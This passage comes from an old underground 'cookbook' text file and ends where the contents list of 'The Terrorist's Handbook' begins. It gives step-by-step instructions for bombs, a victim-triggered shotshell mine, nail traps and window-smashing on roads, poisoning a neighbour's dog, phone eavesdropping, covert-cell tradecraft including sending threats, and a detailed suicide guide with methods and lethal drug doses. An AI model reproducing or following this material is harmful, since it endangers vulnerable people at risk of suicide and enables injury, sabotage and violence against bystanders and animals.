smallest tip creates a fire transfer hole, so that when the crossette
is ignited in one end, it will burn until the flame reaches the small
hole that leads the flame to the burst. If everything is properly
made, the crossette should split into several (four or more)
pieces. The crossettes can be fired one by one from small mortars, or
they can be put into a shell to get a crossette shell. <p>
In order to press crossettes or the more sensitive whistle rockets,
some type of press has to be used. As I do not always carry my 40 kg
press around where ever I go, I had to make a quick and cheap press
when I went home one day. I constructed a nutcracker type of press
from two pieces of 5 X 10 cm (2" by 4") wood,
about 2 meters long, and two shorter pieces . I also used a piece of
thick wood plate as a
shield, just in case the rockets should explode when pressed. The
whole press was made in about one hour, and it is powerful enough for
most applications. The maximum pressure is about 500 kg. If higher
pressure is needed, metal should be used when building the press, or
one could use an hydraulic press.<p>
Here is another picture showing the press "in action". As you can see,
the important part is that the arms of the press is almost parallel,
or else the force from the press will not be directed straight down as
you want it to. You might need to build some sort of mould to keep the
rammers or the plunger from bending sideways.<p>
What I did was to make a wooden support, that keep the rammer and the
casing of the rocket on line. You can see the pieces of wood with a
hole that is about one mm wider than the casing. Two of the tree parts
holds the casing in position, while the last and upper piece keeps the
rammer from bending. The tree pieces are easy to put together, and the
mould works perfect in order to prevent bending of the casing. <p>
When all the pieces are put together, only the rammers can be
seen. The moulds are made to fit a 20 mm and a 10 mm ID rocket, having
2-3 mm thick walls. I have to use them until I can make a press with a
piston that moves vertically. Even then, some support for the smaller
rockets might be needed. <p>
---===>~JyNx~<===-----===>~Zealot~<===---
~ Quick Phone Mods ~
These 5 things are quick things that just about anyone with one hand and
half an ass for a brain can pull off with just about any fone. I've made
one of them to my own Beige Box, as it is handy phor phunctions (those are
really pushing it...) I will explain below.
1. Give the line a kick:
If you experience alot of static on your line, and it interferes
with modem tones, or just you talkin to your bitch, then get one
of those splitters, which lets you plug two fones into one jack.
Also get a litte battery holder from Radio Hack, for two AA batts.
Wire this to a fone plug, and put the batteries in. WHen you get
alot of static on the line, just plug that package into the second
jack. The extra 3 volts will help hold your line open better. The
reason for the static (assuming it isn't from your cordless fone)
is that there's just barely enuff voltage to keep the line up. THis
results in a bad connection, and static. The 3 volts spreads itself
out along the line, and helps hold it up. Get it?
I don't really know if this is illegal, but telco is NOT happy when
customers start messing with the line voltage. I don't know that
they'd do much to ya, tho.
2. High-quality recordings:
Go to Radio Hack, and get a 2 conductor, 1/8" phono jack, like on
a walkman. Drill a mounting hole in your fone and mount it. Connect
each of the terminals to one of the leads on your speaker, so it's
in parallel with the speaker. Now, with a wire that has 1/8" plugs
on both sides, you can plug the fone into the input jack of a tape
recorder or soemthing similar to that. I like to plug the thing into
the mic jack of a micro cassette recorder, so when I make calls with
my beige box, I can record them...especially that time I called the
fone sex on my nieghbors line...that was cool...Sorry. Anyway, you
can also plug a set of speakers (like off your sound card) in so that
all your friends can hear the fun. You could put it to the mic jack
of your soundcard and make WAVs of your friends saying how they'd
love to do some chick in the ass, and then call her and play it.
Be creative!
3. Musical hold-- the easy way:
I haven't tried this yet, but that's cause I can't find my beige box
here at the Hack household. This is JUST like the output above (2),
but wire the jack to the mic instead of the speaker. Now, plug the
wire into your sound blaster or your walkman or your stereo or sumtin.
When you wanna put your call on musical hold, MAKE SURE THE MUSIC IS
PLAYING. I think that's vital, as that's what'll keep the voltage
present. Now, you can plug the wire into your fone, and when you hear
the music, you can hang up. The line should be held open. Again, note
that I haven't tried this yet, but it should work just fine. You can
also plug it into the speaker jack of your sound card to play back
the wave of your pal that you recorded above...
4. Plain Hold:
You can get much more basic than this. Somewhere between the wall
and the fone, maybe at the base of the fone unit, or just inside the
fone, strip the Ring and Tip. Put an SPST switch across them. Make
sure the switch is in the OFF (open) position to talk. To go on hold,
flip the switch.
5. Full MUTE:
The big reason the person you are eavesdropping on with an extension
that you're holding down the mute button on can tell you're there is
the static. The reason for the static is the momentary button that
mutes the fone never has a solid connection, cause you push on it
with different levels of pressure. To get around this, get an SPST
switch, and if your fone already has a mute button, just take it out
and replace it with the switch, and resolder the wires. If it doesn't
have a mute button, just putting it across the wires to the mic
BEFORE THE WIRES GET TO THE MIC should do the same thing. When you
add the switch before the mic, and throw it, the electrons choose the
shortest path they can find, which is thru the switch, rather that
hoofing it all the way over to the mic. The mic is cut off, and then
the listening party can't hear you AS WELL. There wil still be a
click even if you flip the switch before you take the fone off hook,
but it won't be very noticable. And the others won't be able to hear
anything you say.
---===>~JyNx~<===-----===>~Zealot~<===---
~ Resources ~
This file will contain locations were you can obtain some materials
needed to make explosives or any other item in this cookbook.
Place
Items
------------------------------------------------------------------------Local hobbie store
Styrofoam
Rocket Engines
Tubing
BB's
CO2 Cartriges
Local Market
Sugar
Matches
Glass and plastic bottles
Local Drug Store
Acetone
Paint Thinner
Laqer Thinner
Matches
Gun Store
Gunpowder
Chemistry shop
Potasium Nitrate,
Almost any chemical...
Old VCR's, phones, t.v.'s
L.E.D. lights
Wires
Switches
Hardware Store
Duct Tape
Electrical Tape
Electrical Wires
Aligator Clips
---===>~JyNx~<===-----===>~Zealot~<===---
~ Roadway Fun ~
Here are a few quick ways to make some trouble on America's highways
and roadways. Some can be dangerous. Use at your own risk. Here they are:
1) Bill the Dummy: This is similar to the stunt MacCauly Calkin pulled in
the movie "The Good Son". Get a manequin or dummy, and pretend to talk to
and interact with it on an overpass. Then suddenly let it fall off the
edge of the overpass and "try" to grab for it, and act distressed. Until
the brakes start screaching. Then get your ass out.
2) A slingshot or Wrist Rocket is very good for shattering car windows. Use
the metal ball shot that you can buy at a sporting goods store. The
driver's side window is a good target on parked cars, and the back
windshield is good for moving vehicles.
3) This is one you have to be sure you don't do anywhere you or your parents
would drive. Get a plank about a foot long, and drive about 8 or 10 nails
into it. Now, lay this on the road (at night or something). Make some
loops of Duct tape and put them on a sheet of news paper. Now, stick the
sheet of newspaper on top of the plank, to it is taped to the road. And
the nails DO NOT poke through. Then leave. If it looks right, people will
see it and just drive right over it. As soon as someone's tire hits...
4) This is a trick I had to experience a few years ago. Trust me, it's
annoying. Take an old audio tape you hate (you know, the MC Hammer tape),
and rewind it all the way. Now, tear out the tape, just a little, so you
have a leader. Now, find a stop sign, or a tree, or something. Wrap the
tape around the tree about 7 times, and then run it across the street to
another tree or sign. Now, run it back and forth around both, until you
run out of tape, or have a nice thick web of tape. If it's really thick,
most people won't drive through it, and will have to find a way around it.
Or break the tape, one strand at a time...
Enjoy.
---===>~JyNx~<===-----===>~Zealot~<===---
~ How to attach a rocket launcher on your bike ~
This file will just mainly give you an idea what you can do.
It is actually very simple. Just take a model rocket launch pad and
take off one of the legs. You should now only have two left. Attach
this to the front or side(s) of your bike. Mount the launch
controller on your handlebars or the bar the runs from your seat to
the front wheel. Then its actually quite simple after this. Just
find a little punk riding his bike, chase him down, then point and
shoot!
---===>~JyNx~<===-----===>~Zealot~<===---
~ How to make a homemade rocket launcher ~
Materials:
2 - 3 paper clips
2inch dia. 4-6 foot long rapping paper tube.
4 "AA" bateries
1 paper towel tube
4 or 5 wires (I forget)
1 switch
1 piece of cone shaped styrofoam
~ of model rocket engines.
~ of ignighters
First we must make the electrical launching system. Take the paper
Towel tube and cut in so you can fit the batteries in it nice and snug.
Once you have taped that together, tape a wire to the end of the positive
side of the end battery. There should not be any paper towel tube sticking
out farther than the end of the battery. Now attach this on the tube about
3 inches from the end. On the negative side of your battery tube make somewhat
of a flap on the end so that you will be able to tape an exposed wire on the inside
of the flap. This will act as the ignition button. Next, take a wire and attach
it to the exposed wire that is on the flap. Run this wire through the end of the tube
and attach an alligator clip to it. Now for the safty switch. Attach the wire from
the positive side of the batteries to one side of the switch. Now take a wire and
run it from the other side of the switch to the inside of the tube. You must
also attach an alligator clip to the end of this. Now take your cone shaped peice
of styro foam and fit it into the end of your tube. This should fit nice
and snug and should be extended anywhere from 1 to 6 inches out of the back
of the tube. You should use the paper clips to attach the cone to the tube.
*Note* - you should place tape on the end of the cone on the inside to keep
it from melting or catching on fire from the rocket engine. Now you should have
something that looks somewhat like a bazzuka. **NOTE** This is not guided in any
way, shape, or form. So whatch where you point it!! This file is just for fun and
enjoyment!! This IS NOT a guided missle launcher!!!!!!!!!! These engines
go crazy!!!!
Now to shoot it switch your saftey switch on fire and press the flap down
so the wire touches the battery and Whooooosh!!!!!! Have fun!!
---===>~JyNx~<===-----===>~Zealot~<===---
~ How to make a bomb out of a sample perfume container ~
All you need is a sample perfume container, some flash powder,
and a fuse. Take the sample perfume container and fill about half way
with flash powder. Then take some dirt or some kind of non flammable powder
and fill the rest of the container with it. This is to keep the flash
powder from melting the cap and to keep the presure from excaping through
the hole in the cap. You need to cut the hole so the fuse will fit
snuggly in. Then take some tape and rap it lenght wise so its holding
the cap in place tightly. Then make a hole through the tape where the
hole in the cap is and insert your fuse so that it goes all the way through
the dirt and into the flash powder. Then light and run!! This only throws
out little tiny fragments of glass but it still is not worth geting hit with
trust me!! My friend had stood three feet away from this thing when it
went off and it gave him alot of little holes in his leg (because he was
wearing shorts) which I might add were bleeding!!!
---===>~JyNx~<===-----===>~Zealot~<===---
~ Shotshell Mine ~
This was a design used by the Viet Cong in Nam. It's very effective.
You need:
1) Shotgun shell
2) squares of plywood, about 2'x2' and 1/4" thick
1) nail
Dig a hole big enuff for one piece of plywood to fit into. Drive a nail
through the center of one sheet of wood, and put it in the hole, nail
pointing up. Now, fill in dirt around this sheet, until it is mostly covered,
and only the tip of the nail is still exposed. It should still be below
ground level. GENTLY place the shotshell on top of the nail, and fill in dirt
around it, so it is supported on top of the nail, and held in place.
GENTLY place the second sheet of wood on top of the shotshell, and put leaves
and such on top of it.
When someone walks over it, they press the shotshell onto the nail, and it
blows right through the wood, and takes off their leg.
---===>~JyNx~<===-----===>~Zealot~<===---
~ Simple Blowgun ~
This is a very simple way to make a blowgun that you can pop baloons
from the other side of the fence, Piss people off or just whatever. All
you need is one of those giant pixie sticks and alot of thumb tacks. The
kind you usually see on bulliten boards with the hard plastic butts and the
short stubby needle. Take your giant pixe stick (you can usually find these
at certain candy stores) and cut it to about a foot in length. Place your
tack into the end point first and blow!
---===>~JyNx~<===-----===>~Zealot~<===---
~ Simple Poison ~
Youll have to find a handfull of those mushrooms that grow in
your back yard. Or you can find them at local parks. Then allow those
to dry out. Powder them after they are extremly dry. Then take whatever
medications you can find in your home cabinet. YOu can go to your local
drug store and find things such as Asprin, tylonol, Anti-diarreal pills.
It must be a pill because you will need to powder them as well. If it
is a gel cap, just open it up and dump them out. You must then mix these
with the mushroom powder. Because of its bad taste you will have to
disolve it in water or a liqiud. This recipe will work wonders on an
annoying dog in the neighborhood. You can also ad something like dimetap
or robitusun or any liquid drug and pour little amounts on your powder then
letting it dry. After that is acomplished you can get the dog to eat it
if you sprinkle a little dog biscut flavoring....
---===>~JyNx~<===-----===>~Zealot~<===---
~ How to make a smoke bomb with bottle caps ~
Take the bottle cap off of a two liter soda bottle. Then cut
the heads off STRIKE ANYWHERE matches. Take them and pack them in real
tight in the cap so that they come a little above the edge. Diagram:
matches = #
cap = *
#####
#######
*********
*
*
*********
Then you place a beer bottle cap on top of them so that one
end of it touches the two-liter cap. One side should have a gap
bettween the caps about two to three milimeters high. Then take tape
and secure the caps together real tight leaving a little space
in bettween the tape on the raised side of the caps about 2mm x 2mm.
DO NOT PUT TO MUCH TAPE ON!!!!!! You have to put just the right
amount. If you put to much on it wil absorb the shock of you throwing
it and therefor not go off. If you do not put enough the pressure the
matches make as they burn will pop in in half. Once you have followed
these simple but confusing instructions, Throw it real hard against a
real hard surface.
---===>~JyNx~<===-----===>~Zealot~<===---
~ Snap and pop explosives ~
This is similar to the Jolly Rogers file on touch explosives
with just a more mild punch. Take the snap and pop that you can buy
anywere. The kind you throw on the ground and pop. Empty a few boxes
of those and take the little "ROCKS" out of the paper. Fill a litlle
plastic bag with these CAREFULLY, any seal it with a rubberband.
---===>~JyNx~<===-----===>~Zealot~<===---
~ A BASIC GUIDE TO BEING SNEAKY AND CAUTIOUS ~
In this file it will tell you all the basics of how to work
underground, how to do devious things without geting caught, and how to
be cautious and to always watch your back.
You probably know if you work underground that you will always
have to watch your back. When ever you contact one of your associates
you always agree on a meeting spot ahead of time(this should be done first
after starting your group or initiating a new associate). You should have
more than one metting spot for a backup. Avoid making written notes and messages
to your associates. If you can`t then you should always encrypt them(You can
also do this at the begining of organizing your group). If you ever send
threats through the mail ethier type it or have someone write it in a sloppy
form (most common is the typed). Its common sense not to leave finger prints on
it, but if you do you better hope there not smart enough to take it to the cops!
If your working underground its also common knowledge not to tell anyone
about it outside your group. If you do they tell their best friend then
they tell their best friend and so on. Dont ever talk about any operations
in the public. Only talk to your associates in isolated places. *Always
do a basic sweep for bugs when talking to an associate about the op. You
can do that by checking around the phone and phone lines, you should check
in the phone, look in odd spots around the meeting spot such as under tables,
under the rug, in corners, and basicly EVERWHERE!!! ALWAYS assume that
someone is watching and listning. You should also look for suspicious
looking vehicles around. Mainly any car just sitting their. When you do
have your mettings you should always have someone scouting around before
and during your meeting.
When doing an operation or whatever and you don't want to get caught,
you should again watch your back. Dont look around in a suspicious way,
because then that just leeds more people into suspicion. If its an op.
taking place outside than your aproch is most important. Watch your shadow,
watch where you step because if you step on a dry leaf or twig you can
create noise and alert your target. If you alert your target its all over.
You give yourself a better chance at getting caught and you cannot complete
your misson. I will give you a "stupid" example of an operation. You are
in class and your objective is to take the folder of the jerk off sitting
next to you. Its only obvious that you make your move when he is not have
view of the folder("When hes turned away" for all you non-intelligent people).
Now the key to taking something in a situation like this is to move SLOW!
If you move fast and snatch it many things can go wrong. He could feel it
taking of at one hundred miles per hour, you could alert one of the other
classmates who could give you away, or if he tuns around and you let go and
slowly move away he won't notice you. But if your hands are ziping away
because you dont want to get caught, he WILL see you!!! If your slow and casual
you wont ever get caught. You can not under any circumstances trust any one.
If you do it could mean exposure or death. You can't even trust your most
treasured friend.......
---===>~JyNx~<===-----===>~Zealot~<===---
~ Stink bombs ~
This file will explain a few different ways to make stink
bombs.
1. This is your basic stink bomb...Like the kind you can buy at
certain stores. Take a few eggs and place them in a glass jar.
You then must sprinkle some sulfur on them just to layer the top.
PLace this outside on a high place in the sun where the bugs can't
get to it. The lid to the jar must be off. Let that sit for about
2 to 3 weeks. Then divide into your small or big glass containers
and Throw it at a party or at or in someones house who you dont like.
2. This one is your basic perfume bomb. It will have the same effect
of the one above exept for the difference in smell. Take one part
mixed perfumes and one part alcohol and you have an extremly strong
smelling substance. This one won't make your victim throw up, it will
probably have one of these few effects....pass out..leave their house
for a day..go crazy..see stars...think they are going to see stars.
---===>~JyNx~<===-----===>~Zealot~<===---
~ Suicide Guide ~
I guess this is the most dangerous file I've ever wriiten, since even
if you follow all directions to the letter, you still die. In fact, that's
the idea. First, let me stress this: I DO NOT BELIEVE THAT SUICIDE IS THE
ANSWER TO ANYTHING. I DON'T BELIEVE IN THE NOBILITY OF SUICIDE, NOR DO I
THINK IT IS EASIER TO KILL ONESELF THAN TO FACE THE PROBLEMS AND TRIALS
OF
LIFE. Now that that's over with, down to the nitty-gritty. How to kill yourself!
NOTE: Some info in this file has been taken without permission from the book
FINAL EXIT, a complete guide to euphenasia.
1) FIREARMS
Firearms are the cause of death for more than 60% of male suicide
deaths each year. They are often thought to be the most sure way of commiting
suicide, and the easiest. This is also the messiest way, and the most difficult for family members to cope with. It may not neccisarily be the most
error free form of suicide, either. If you are planning to use a firearm, be
sure it is at LEAST a .38 or .357 caliber, as anything smaller may not cause
death, and then you're stuck a veggie. Also, the preferred way to blow you
brains out is by putting the barrel of the gun in your mouth, pointed up at
the base of your brain. You could also do a Cobain and use a shotgun. That is
just as effective :)
2) SLASHING WRISTS
This is actually not as painful as one might think. As long as you
use a sharp blade, it can be quite effective. First, get a large pan or bowl
and fill it with VERY cold water and ice cubes. LOTS of ice. Sit your forearm in it for about 1 hour, or until your arm is COMPLETELY numb. Now, get a
sharp knife, such as a ginsu or your mom's best carving blade, if you don't
have a suitable one. Otherwise use one of those razor util knives, and extend
the blade to full length. Make three cuts.
a) At the transition of your wrist into your hand, right
across.
b) At a 45ø angle starting from the left point of the first
cut. Go from upper-left to lower-right (if it's your left)
c) From close to the center of the wrist, cut straight down
your arm, as far as possible without causing yourself pain
This has the effect of severing the many arteries in your arm, with no hope
of a blood clot or similar effect. You probably have about 6-10 minutes after
doing this, so do it during the Simpsons or something so you can laugh for the
final 10 minutes of your life.
3) CYANIDE
Cyanide is a very controverial substance. According to different accounts, death by cyanide ingestion can be quick and painless (12 sec.) or long
drawn out and unbearably painful (4 or 5 days of writhing pain). It is essentially unpredicatble, but death is almost certain in any situation. Cyanide
can be obtained from peach pits, although I am unsure of the exact process
right now (look for an upcoming CH HPA)
Here are directions for one form of cyanide:
1. Take a small glass of cold TAP WATER (it has the proper pH)
2. Stir 1.0 to 1.5 g KCN (potassium cyanide) into the water
3. After about 5 minutes, the KCN is dissolved and ready to drink
4. After drinking, you will lose consiuosness in about 1 minute
5. Death will follow the coma in 15 to 45 minutes.
4) INJECTION
The key to injecting anything is being able to use a seringe. I will
assume you know how to do this. It is important that all substances I will
describe here be injected into a VEIN, not an ARTERY. This way they will be
re-distributed thru the heart when the blood reaches the heart.
A) AIR
Injection of a LARGE amount of air into the blood stream will
cause cardiac arrest in the victim. The only problem is the
amount of air that's needed. Close to 40 CC's is required.
Death is fairly painless, and reasonably fast.
B) DISTILLED WATER
I believe this will work, although I am not positive. You
would probably have to inject the better part of a whole
bottle of water, like Evian. I don't know about the death.
C) IODINE
This is used in China to kill newborn babies. You can use
either Iodine or Rubbing Alchohol. 20 to 40 CC's should
ensure rapid death.
D) NICOTINE
See my file on making pure nicotine syrup, or one of the
files in the Jolly Roger Cookbook. Since a few drops ingested
will cause swift death, I would think that 2-3 CC's directly
injected should make quick work of you. Be aware that once
it is injected you will be stoned out of your mind for the
few (5-10?) minutes before death.
5) PLASTIC BAG
This is usually used as extra insurence, and should be used with any
method that involves OD'ing on anything, because this is a failproof
way to commit suicide. Take a mid sized plastic bag. Not one small
enough that you'd choke on it, cause that just sucks. Use one that
is fairly large, but not one that would take forever to fill. Maybe
a shopping bag or something. Put it on your head and take 2 rubber
bands and secure it around your neck. The effect is simple. You will
eventually (1-2 hrs) use up all the Oxygen in the bag. As you run
low, you will just get sleepy, and fall asleep, and never wake up.
Drug List:
The following table shows some of the most popular prescription drugs
and the requirments to kill yourself. All of the pills should be
taken with alchohol, as this increases the intensity of the drugs.
Generic Name
Trade Name
Lethal Dose
#/tablets
------------------------------------------------------------------------Flurazepam
Dalamane
3g
100*30mg
Chloral Hydrate
Noctec
10g
20*500mg
Meprobamate
Miltown, Equanil
45g
112*400mg
Meperidine
Demerol
3.6g
72*50mg
Morphine
--200mg
14*15mg
Secobarbital
Seconal (sleep agent) 4.5g
45*100mg
Propoxyphene
Darvon (NOT DARVOCET) 2.0g
30*65mg
The best way to take these is to grind up about 3/4 of them and put them in
a yogurt or pudding. Sweeten it with suger to offset the taste. First take
the other 1/4 of them with a glass of wine. Then eat the yogurt with a fair
amount of speed. Then wash it all down with some scotch, wiskey, or other
hard liquor.
Fatal Liquids:
This mixture will work well and be fatal with extreme speed (several
minutes)
Pentobarbital sodium 9g
Alcohol
20ml
Purified Water
15ml
Propylene glycol
10ml
Orange Syrup
50ml
(Secobarbital sodium can be substituted for the Pentobarbital sodium if
neccesary)
---===>~JyNx~<===-----===>~Zealot~<===---
~ Tear Gas Pellats ~
This file will document the procedure to produce small .177 caliber
cartridges that will fire a cloud of pepper defense spray, for use by
individuals interested in carrying a form of defense, but object to carrying
true firearms or weapons that are capable of serious injury.
All processes described in this file are for informational purposes. If
the reader takes the responsability to manufacture the products described
here, it is the readers own decision, and the author of this file will take
no responsibility for any injuries or punishments levied on the reader of
this file or anyone that is injured by any procedure or product described
within this file.
>>>Intro<<<
^^^^^^^^^^^
Now that the disclaimer is over with, we can get down to business. You
may ask why you'd want to make these Tear-Gas Cartridges (TGCs). Well, if
you're like me, you know you need some form of protection in today's world,
but you really don't want to carry a real gun, or even a pellet gun, since
most of todays pellet guns are very powerful and can even be lethal.
Well, now, if you have a pellet gun, you can make harm-less TGCs for it,
and give yourself the protection you want, and the piece of mind you need.
>>>Materials<<<
^^^^^^^^^^^^^^^
Ok. This is just a list of the things you'll need to complete this
project. You'll want to have all of these materials before you start.
Materials-1) Extendable metal antenna similar to Radio Shack #270-1413
1) Can of pepper gas, or a reasonable amount of homemade pepper irritant
1 or 2) Plastic sandwich bags
Equipment-1) Pipe cutter
1) X-atco blade
1) Length of wire with a small bend at the end
1) Pair of goggles
1) Respirator (optional, but recommended)
1) Pair latex rubber gloves
>>>Prep<<<
^^^^^^^^^^
Ok. Now you need to find which section of the antenna fits your gun. Just
cut off the little cylindrical dealie at the end and try each section. When
you've found the section that fits your gun, cut off all the other pieces
and get rid of them or somehting. Now, using the pipe cutter, cut the section
that is the size of your gun (.177) into a bunch of smaller sections that
are each the length of a pellet. You should have 8 or 10, and you'll want
at least 6 (2 for test firing, and 4 to use).
Also, take the sandwich bag(s) and cut it into small (about 1 inch square)
pieces of plastic. This is vital. You must not cut the excesivly large,
or insufficiently small. It may take some practice to find the right size.
That's why you use water to test fire.
This should be the last step of the prep for making the actual cartridges.
You should definately be OUTSIDE to do this part. Take some sort of
container that you know will not cause much splash.
I suggest using some sort of tall beaker. Anyway, go outside with your
gloves, goggles and respirator on, and spray some of your irritant into
the container. If you chose to use homemade irritant, you have an advantage
here. Anyway, you only need a little. Maybe 2 or 3 CCs (eyeball it). Cover
this contianer immediatly, before going inside, and before removing your
protective gear.
>>>Procedure<<<
^^^^^^^^^^^^^^^
Ok. We're now moving to a step by step format, as I know I don't give
complex instructions well. Here we go.
1. Take one of your little aluminum tube fragments and stand it on end
2. Take a square of plastic wrap or bag, and using the rounded wire, press
it down into the canister. You want a little pocket in the bottem, but
you also need to keep the edges of the plastic above the top of the
canister.
3. With a method you will discover for yourself (there are several good
methods. Find one that works), put a small amount of the TG into the
bubble or pocket of plastic in the bottom of the TGC. Just make sure it
doesn't completely overflow the sides of the plastic.
4. Take the little piece of wire, or another piece, and use it to fold over
the sides of the plastic and tuck them into the TGC. Like this horrid
ASCII diagram:
_/-|##|-\_
|\/|
|##|
|##|
^ |##|
|##|
|
plastic before tucking
(# means TG)
^--- Plastic after tucking
5. Pat yourself on the back, for you have finished the first TGC. Now, make
the rest. Be sure to make one or two (or more) with WATER for a test firing.
>>>Test Firing<<<
^^^^^^^^^^^^^^^^^
Make sure you KNOW for CERTAIN which TGC aren't really Tear gas, the ones
that are water (I know you READ THE WHOLE FILE BEFORE BEGINIG AND KNEW TO
MARK THE WATER FILLED ONES, RIGHT?). Now, take those two (or however many)
and take them outside or wherever, it doens't matter. Put them in your gun
(be it CO2 or pneumatic) and set up a target of paper or something. One other
idea to see how they work is to use some of your mom's perfume or some
deodorent or something instead of water. This will help you see how well it
spreads. Anyway, pump the gun up, or whatever the case is, and fire. You
should see a cloud of gas eject from the gun, as well as the plastic and
the canister. Neither of the latter two objects will really hurt anyone.
Hopefully, the cloud of gas WILL!!!! If you decided to use a fragrence of
one type or another, you should notice the scent filling the area. It can
spread rather well.
>>>Conclusion<<<
^^^^^^^^^^^^^^^^
Be aware that these tear gas cartridges are NEVER to be used as an
offensive weapon, or for attack in a mugging or such. They should ONLY be
used for defensive purposes. If you decide to do otherwise, that is your
problem, and I SHALL NOT be held responsible.
---===>~JyNx~<===-----===>~Zealot~<===---
~ Tennis ball mortar ~
This one will amaze you of it's potential. What you need is:
- 7-10 Tin cans (the kink with peas or stuff like that in them)
- lots of duct tape
Now take the tin cans and empty the stuff inside. Eat the stuff!
Then cut of the bottom plate on each can except for one of them. Then take
the duct tape and tape all the cans together with the one that still has its
bottom, on the bottom. Make sure you tape it GOOD, unless you can find some
other way to seal them and them tape them. Take all of the lids and glue or
tape them on the botom of your tube. Then you bury two thirds of the tube
into the ground. You then must make a picolo pete bomb with a 20 oz. (1 liter)
soda bottle. Drop that in the tube after lighting it and drop a tennis ball on
top. If made correctly it will shoot the tennis ball out so fast you won't
be able to see it. You might have to retape the cans back together after you
fire it because the blast usually screws it up. You can get creative and shoot
paint mortars out of it: Cut an aluminum soda can in half and line it with
foil. Then pour your choice of paint color into it. Fold the foil over the
paint and there it is. Do the same procedure as for the tennis ball.
---===>~JyNx~<===-----===>~Zealot~<===---
~ How to make a smoke bomb out of a tennis ball ~
Materials:
-One tennis ball
-Alot of strike anywhere matches
-something to punch a small hole
All you have to do is fill the tennisball with the strike
anywhere matches after making the small hole on top. Then throw!
This will be moving when it smoke so it will not be really thick!
But it is good for throwing at peaple on bikes pasing by. It will
do plenty to just scare them off thier bike!! Ha!!!!
---===>~JyNx~<===-----===>~Zealot~<===---
The Terrorist's Handbook
Written BY: JyNx and Zealot
This is a collection of many years worth of effort........this is
the original manuscript for a non-published work, from an unknown
author.....It was originally two LARGE files which had to be
merged and then HEAVILY EDITED, mostly the pictures, and then
spellchecked...This guy is a chemical genius but he could not
spell if his life depended on it....I have simply run a spell
check via WordPerfect 4.2, so there are probably more errors
which were not picked up...sorry...I hope you have the patience
to sit through this file, read it, then correct every little
error....It is not like I am submitting it or anything...!!!!!
This file is dedicated To Kathie & KiKi
.....Whoever you both may be.....
.PN
THE TERRORIST'S HANDBOOK
________________________
1.0
INTRODUCTION
Gunzenbomz Pyro-Technologies, a division of Chaos Industries
(CHAOS), is
proud to present this first edition of The Terrorist's Handbook. First
and
foremost, let it be stated that Chaos Industries assumes no
responsibilities
for any misuse of the information presented in this publication. The
purpose
of this is to show the many techniques and methods used by those people
in this
and other countries who employ terror as a means to political and
social goals.
The techniques herein can be obtained from public libraries, and can
usually be
carried out by a terrorist with minimal equipment. This makes one all
the more
frightened, since any lunatic or social deviant could obtain this
information,
and use it against anyone. The processes and techniques herein SHOULD
NOT BE
CARRIED OUT UNDER ANY CIRCUMSTANCES!! SERIOUS HARM OR DEATH COULD
OCCUR FROM
ATTEMPTING TO PERFORM ANY OF THE METHODS IN THIS PUBLICATION. THIS IS
MERELY
FOR READING ENJOYMENT, AND IS NOT INTENDED FOR ACTUAL USE!!
Gunzenbomz Pyro-Technologies feels that it is important that everyone
has some
idea of just how easy it is for a terrorist to perform acts of terror;
that is
the reason for the existence of this publication.
.PA
1.1
2.0
2.01
2.02
Table of Contents
_________________
BUYING EXPLOSIVES AND PROPELLANTS
Black Powder
Pyrodex
2.03
2.04
2.05
2.06
2.1
2.11
2.2
2.3
2.31
2.32
2.33
Rocket Engine Powder
Rifle/Shotgun Powder
Flash Powder
Ammonium Nitrate
ACQUIRING CHEMICALS
Techniques for Picking Locks
LIST OF USEFUL HOUSEHOLD CHEMICALS AND AVAILABILITY
PREPARATION OF CHEMICALS
Nitric Acid
Sulfuric Acid
Ammonium Nitrate
3.0
3.01
3.1
3.11
3.12
3.13
3.14
3.2
3.21
3.22
3.23
3.24
3.3
3.31
3.32
3.33
3.34
3.35
3.36
3.37
3.38
3.39
3.40
3.41
3.5
3.51
3.52
3.53
3.54
EXPLOSIVE RECIPES
Explosive Theory
IMPACT EXPLOSIVES
Ammonium Triiodide Crystals
Mercury Fulminate
Nitroglycerine
Picrates
LOW ORDER EXPLOSIVES
Black Powder
Nitrocellulose
Fuel + Oxodizer mixtures
Perchlorates
HIGH ORDER EXPLOSIVES
R.D.X. (Cyclonite)
Ammonium Nitrate
ANFOS
T.N.T.
Potassium Chlorate
Dynamite
Nitrostarch Explosives
Picric Acid
Ammonium Picrate (Explosive D)
Nitrogen Trichloride
Lead Azide
OTHER "EXPLOSIVES"
Thermit
Molotov Cocktails
Chemical Fire Bottle
Bottled Gas Explosives
4.0
4.1
4.2
4.21
4.22
4.23
4.24
4.241
4.242
4.243
4.3
4.31
4.32
4.33
4.4
USING EXPLOSIVES
SAFETY
IGNITION DEVICES
Fuse Ignition
Impact Ignition
Electrical Ignition
Electro - Mechanical Ignition
Mercury Switches
Tripwire Switches
Radio Control Detonators
DELAYS
Fuse Delays
Timer Delays
Chemical Delays
EXPLOSIVE CONTAINERS
4.41
4.42
4.43
4.44
4.5
4.51
4.52
4.53
4.54
4.55
4.56
Paper Containers
Metal Containers
Glass Containers
Plastic Containers
ADVANCED USES FOR EXPLOSIVES
Shaped Charges
Tube Explosives
Atomized Particle Explosions
Lightbulb Bombs
Book Bombs
Phone Bombs
5.0
5.1
5.11
5.12
5.13
5.2
5.21
5.22
5.3
5.31
5.32
SPECIAL AMMUNITION FOR PROJECTILE WEAPONS
PROJECTILE WEAPONS (PRIMITIVE)
Bow and Crossbow Ammunition
Blowgun Ammunition
Wrist Rocket and Slingshot Ammunition
PROJECTILE WEAPONS (FIREARMS)
Handgun Ammunition
Shotguns
PROJECTILE WEAPONS (COMPRESSED GAS)
.177 Caliber B.B Gun Ammunition
.22 Caliber Pellet Gun Ammunition
6.0
6.1
6.11
6.12
6.13
6.2
6.21
6.22
ROCKETS AND CANNONS
ROCKETS
Basic Rocket-Bomb
Long Range Rocket-Bomb
Multiple Warhead Rocket-Bombs
CANNONS
Basic Pipe Cannon
Rocket-Firing Cannon
7.0
7.1
7.2
7.3
7.4
7.41
7.42
7.43
PYROTECHNICA ERRATA
Smoke Bombs
Colored Flames
Tear Gas
Fireworks
Firecrackers
Skyrockets
Roman Candles
8.0
LISTS OF SUPPLIERS AND FURTHER INFORMATION
9.0
CHECKLIST FOR RAIDS ON LABS
10.
USEFUL PYROCHEMISTRY
11.0
ABOUT THE AUTHOR
2.0
BUYING EXPLOSIVES AND PROPELLANTS
Almost any city or town of reasonable size has a gun store and
a pharmacy. These are two of the places that potential terrorists
visit in
order to purchase explosive material. All that one has to do is know
something
about the non-explosive uses of the materials. Black powder, for
example,
is used in blackpowder firearms. It comes in varying "grades", with
each
different grade being a slightly different size. The grade of black
powder
